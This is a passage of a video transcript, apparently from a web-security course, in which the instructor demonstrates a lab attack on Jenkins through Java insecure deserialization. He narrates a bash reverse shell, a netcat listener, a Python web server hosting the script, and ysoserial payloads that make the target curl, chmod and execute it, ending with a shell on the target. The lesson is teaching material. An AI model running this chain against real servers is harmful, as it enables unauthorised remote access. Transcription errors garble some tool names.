I'm just going to grab my 0:26:05.420000 --> 0:26:08.040000 Kali Linux IP because that'll be useful. 0:26:08.040000 --> 0:26:10.480000 Again, in your case, it will be different. 0:26:10.480000 --> 0:26:12.520000 So do keep that in mind. 0:26:12.520000 --> 0:26:15.440000 Just keep that for reference. 0:26:15.440000 --> 0:26:16.860000 I'm pretty sure I will need it. 0:26:16.860000 --> 0:26:18.420000 Let me just make that smaller. 0:26:18.420000 --> 0:26:20.380000 There we go. All right, cool. 0:26:20.380000 --> 0:26:23.100000 So we have Jenkins. 0:26:23.100000 --> 0:26:24.520000 We know it's running on port 8080. 0:26:24.520000 --> 0:26:26.640000 We know it is indeed vulnerable. 0:26:26.640000 --> 0:26:27.940000 We have the exploit code. 0:26:27.940000 --> 0:26:31.760000 Now let's create the first thing we're going to create is our shell script 0:26:31.760000 --> 0:26:37.700000 that we're going to try and write onto the Jenkins server. 0:26:37.700000 --> 0:26:44.680000 So what I'll do is I'll just call it shell.sh on the desktop. 0:26:44.680000 --> 0:26:47.240000 Make sure you remember where you're saving all the stuff and we'll just 0:26:47.240000 --> 0:26:52.840000 use a very simple you know, we'll just create a very simple reverse shell 0:26:52.840000 --> 0:26:54.080000 payload with bash. 0:26:54.080000 --> 0:27:02.840000 So we'll just say, you know, dev, dcp, and then your Kali Linux IP. 0:27:02.840000 --> 0:27:06.640000 In my case, this is it right over here. 0:27:06.640000 --> 0:27:08.480000 I can copy it completely. 0:27:08.480000 --> 0:27:10.760000 There we go. Yours will be different. 0:27:10.760000 --> 0:27:13.680000 And then the port will go for is 9999. 0:27:13.680000 --> 0:27:15.760000 That's the port of our listener. 0:27:15.760000 --> 0:27:21.940000 And then we will say, yeah, let's just, yeah. 0:27:21.940000 --> 0:27:24.360000 So one that should work. 0:27:24.360000 --> 0:27:27.840000 Okay. So connect to our listener, write and quit. 0:27:27.840000 --> 0:27:30.340000 We'll set up our listener now. 0:27:30.340000 --> 0:27:33.000000 Netcat LVP 9999. 0:27:33.000000 --> 0:27:37.420000 We then need to set up a web server to host shell dot SH, because again, 0:27:37.420000 --> 0:27:43.040000 remember, we need to actually have it transferred to the Jenkins server. 0:27:43.040000 --> 0:27:44.900000 So I'll go to the desktop. 0:27:44.900000 --> 0:27:48.240000 We have shell dot SH right over here. 0:27:48.240000 --> 0:27:53.860000 We'll say Python 3M HTTP dot server. 0:27:53.860000 --> 0:27:56.560000 What port do we want to use? 0:27:56.560000 --> 0:28:02.280000 We'll just use 8888 just so you don't confuse it with Jenkins. 0:28:02.280000 --> 0:28:04.480000 So it's going to host that for us. 0:28:04.480000 --> 0:28:07.320000 And now we can get started with Wysos serial. 0:28:07.320000 --> 0:28:13.180000 So I'll open up a new tab here and I'll go into the desktop and I'll say 0:28:13.180000 --> 0:28:23.440000 Java, jar and we want to go under the tools directory, Wysos serial and 0:28:23.440000 --> 0:28:26.680000 Wysos serial the actual jar file. 0:28:26.680000 --> 0:28:29.080000 And then we specify the library. 0:28:29.080000 --> 0:28:33.980000 In this case, it's going to be common collections one. 0:28:33.980000 --> 0:28:38.300000 And then we're going to now specify the command we want to execute. 0:28:38.300000 --> 0:28:44.160000 So this is the remote command or remote code execution payload here. 0:28:44.160000 --> 0:28:52.360000 So what we wanted to do is we want to tell Jenkins to download the shell 0:28:52.360000 --> 0:28:55.840000 dot SH script that we created. 0:28:55.840000 --> 0:28:59.720000 And that should be fairly simple. 0:28:59.720000 --> 0:29:03.920000 So we just, you know, just a standard system command that'll be executed 0:29:03.920000 --> 0:29:05.920000 by the target web server. 0:29:05.920000 --> 0:29:08.840000 So we can actually just use curl. 0:29:08.840000 --> 0:29:15.220000 So we'll say curl HTTP, the IP address of your Kali Linux system that's 0:29:15.220000 --> 0:29:20.880000 hosting the shell script, the, you know, the reverse shell script or payload, 0:29:20.880000 --> 0:29:27.020000 if you will. And the port we had configured for the web server was 8888. 0:29:27.020000 --> 0:29:30.080000 And then the name is shell dot SH. 0:29:30.080000 --> 0:29:33.900000 We're going to save this and we'll save it on the Jenkins server under 0:29:33.900000 --> 0:29:34.720000 the temp directory. 0:29:34.720000 --> 0:29:38.860000 Never a good idea to save it in a working directory. 0:29:38.860000 --> 0:29:41.980000 Just temp and then we'll save this. 0:29:41.980000 --> 0:29:47.820000 We're now saving this or telling Y's a zero to generate this payload. 0:29:47.820000 --> 0:29:49.520000 So we're just going to call it. 0:29:49.520000 --> 0:29:51.580000 We're on the desktop. 0:29:51.580000 --> 0:29:54.940000 So we'll just call it payload dot out. 0:29:54.940000 --> 0:30:00.100000 It doesn't really matter what format or extension you use. 0:30:00.100000 --> 0:30:03.320000 In this case, as long as it's a you specify, you know, the name of the 0:30:03.320000 --> 0:30:05.420000 payload. So there we are. 0:30:05.420000 --> 0:30:08.920000 That's done. So now we have payload dot out. 0:30:08.920000 --> 0:30:14.620000 And now we can actually utilize the exploit scripts that we were that 0:30:14.620000 --> 0:30:16.060000 we copied over from GitHub. 0:30:16.060000 --> 0:30:21.320000 So based on how it works, we just say Python exploit dot pi. 0:30:21.320000 --> 0:30:28.200000 And then we need to get the target IP, which is, you know, we can actually, 0:30:28.200000 --> 0:30:33.300000 it's pretty much just your Kali Linux IP, but the two at the end changed 0:30:33.300000 --> 0:30:38.120000 to a three. So I'll just use that as a quick shortcut. 0:30:38.120000 --> 0:30:43.100000 The IP address that has that is running Jenkins. 0:30:43.100000 --> 0:30:45.840000 So sorry, the port that's running Jenkins or 8080. 0:30:45.840000 --> 0:30:47.880000 And then the path to the payload. 0:30:47.880000 --> 0:30:49.620000 In this case, we're on the desktop. 0:30:49.620000 --> 0:30:51.520000 So just payload dot out. 0:30:51.520000 --> 0:30:54.940000 We hit enter. Okay, it's worked. 0:30:54.940000 --> 0:30:58.400000 So you can see received Jenkins remoting capacity. 0:30:58.400000 --> 0:31:01.660000 Right over here, that's base 64 encoded sending the payload. 0:31:01.660000 --> 0:31:05.800000 So if we check our web server, we can see, yes, the target web app made 0:31:05.800000 --> 0:31:08.080000 a get request for shell dot SH. 0:31:08.080000 --> 0:31:13.500000 And now before we get too crazy, we actually need to do a couple of things 0:31:13.500000 --> 0:31:15.800000 in order for this to be executed. 0:31:15.800000 --> 0:31:18.540000 We're going to need to tell. 0:31:18.540000 --> 0:31:24.400000 We're going to need to generate another why so serial payload that will 0:31:24.400000 --> 0:31:31.760000 essentially give the script on the target web server executable permissions. 0:31:31.760000 --> 0:31:35.440000 In essence, what we're trying to do is we're just going to tell why is 0:31:35.440000 --> 0:31:42.320000 it so to generate a payload that when executed will tell the Jenkins server 0:31:42.320000 --> 0:31:48.900000 to execute the following command, so CH mod plus X. 0:31:48.900000 --> 0:31:54.940000 And we saved it in temp shell dot SH, if I remember correctly. 0:31:54.940000 --> 0:31:56.500000 And that's pretty much it. 0:31:56.500000 --> 0:31:59.680000 We'll just replace the previous payload and just call this one payload 0:31:59.680000 --> 0:32:03.080000 dot out as well, because we know that you know, shell dot SH has been 0:32:03.080000 --> 0:32:04.820000 written on the Jenkins server. 0:32:04.820000 --> 0:32:06.700000 So I'll hit enter. 0:32:06.700000 --> 0:32:09.740000 And I think that should have been next. 0:32:09.740000 --> 0:32:11.980000 Yeah, we'll not get any notification of that. 0:32:11.980000 --> 0:32:14.460000 So we just have to hope for the best here. 0:32:14.460000 --> 0:32:18.140000 And now as you probably guessed, the final payload will generate with 0:32:18.140000 --> 0:32:26.120000 why so serial is is the one that will essentially execute the reverse 0:32:26.120000 --> 0:32:29.380000 shell payload that's stored in shell dot SH. 0:32:29.380000 --> 0:32:33.160000 So again, we'll just bring out why so serial again. 0:32:33.160000 --> 0:32:38.180000 And now we just say instead of CH mod plus X, we're just going to specify 0:32:38.180000 --> 0:32:43.080000 our shell. So we can go with bin bash. 0:32:43.080000 --> 0:32:50.980000 And if this works, our net catalyst, now we should receive a connection. 0:32:50.980000 --> 0:32:56.540000 So temp dot shell, sorry, temp shell dot SH. 0:32:56.540000 --> 0:32:59.800000 And I think we should be good here. 0:32:59.800000 --> 0:33:03.220000 And yeah, just save it as payload dot out. 0:33:03.220000 --> 0:33:06.580000 Just replace the old one. 0:33:06.580000 --> 0:33:11.020000 And now we're on the exploit one more time with that hit enter. 0:33:11.020000 --> 0:33:14.860000 And if we take a look at our netcat listener, there we are. 0:33:14.860000 --> 0:33:17.220000 We get the reverse connection. 0:33:17.220000 --> 0:33:22.760000 And we have successfully, you know, obtained a shell so we can actually 0:33:22.760000 --> 0:33:26.500000 confirm it. Although it's not with a privileged user, but there you go. 0:33:26.500000 --> 0:33:32.340000 And that is how to identify and exploit insecure deserialization vulnerability 0:33:32.340000 --> 0:33:34.400000 in a Java based for a BAP location. 0:33:34.400000 --> 0:33:35.820000 In this case, Jenkins. 0:33:35.820000 --> 0:33:38.200000 And yeah, that's pretty much it. 0:33:38.200000 --> 0:33:41.520000 That brings us to the end of the practical demonstration section of this 0:33:41.520000 --> 0:33:43.820000 video. All right. 0:33:43.820000 --> 0:33:48.920000 So that was Java insecure deserialization, quite a lengthy video as well. 0:33:48.920000 --> 0:33:53.640000 But I think well worth it because we took a look at the real world of 0:33:53.640000 --> 0:33:58.160000 vulnerability, and right up to understand exactly what's going on. 0:33:58.160000 --> 0:34:05.520000 And the key takeaway for you, you know, as we know at the end of the video, 0:34:05.520000 --> 0:34:08.660000 is to perform research like I just did. 0:34:08.660000 --> 0:34:12.060000 You don't need to dive into exploit development, although that's pretty 0:34:12.060000 --> 0:34:16.120000 fun as well. But just try and understand what's happening. 0:34:16.120000 --> 0:34:19.680000 And you can see that all the concepts we covered in the first section 0:34:19.680000 --> 0:34:22.740000 of the course, which I mentioned would be important in sort of giving 0:34:22.740000 --> 0:34:27.080000 you an understanding of the nomenclature that is used when referring to 0:34:27.080000 --> 0:34:30.220000 application server, etc. 0:34:30.220000 --> 0:34:34.900000 All start to help you understand what exactly is going on. 0:34:34.900000 --> 0:34:38.140000 And then when you have the foundations, like again, we covered in the 0:34:38.140000 --> 0:34:42.800000 previous video regarding understanding what serialization is or what it 0:34:42.800000 --> 0:34:47.980000 does, etc. You then start understanding a lot of these exploits, you know, 0:34:47.980000 --> 0:34:49.940000 even more or even better. 0:34:49.940000 --> 0:34:53.560000 And at the end of the day, you know exactly what you're doing, what you're 0:34:53.560000 --> 0:34:57.860000 executing. And of course, you're much more efficient at utilizing tools 0:34:57.860000 --> 0:35:00.700000 like Wysos cereal. 0:35:00.700000 --> 0:35:04.400000 But again, as I said, hopefully you found value in that. 0:35:04.400000 --> 0:35:05.980000 Definitely go through the lab again. 0:35:05.980000 --> 0:35:10.460000 Pretty much everything I did has been documented as well as the links 0:35:10.460000 --> 0:35:12.160000 that I showcased. 0:35:12.160000 --> 0:35:16.060000 They've all been added in the lab documentation for the lab we just went 0:35:16.060000 --> 0:35:19.900000 through. And yeah, that's going to be it for this video. 0:35:19.900000 --> 0:35:22.340000 And I will be seeing you in the next video.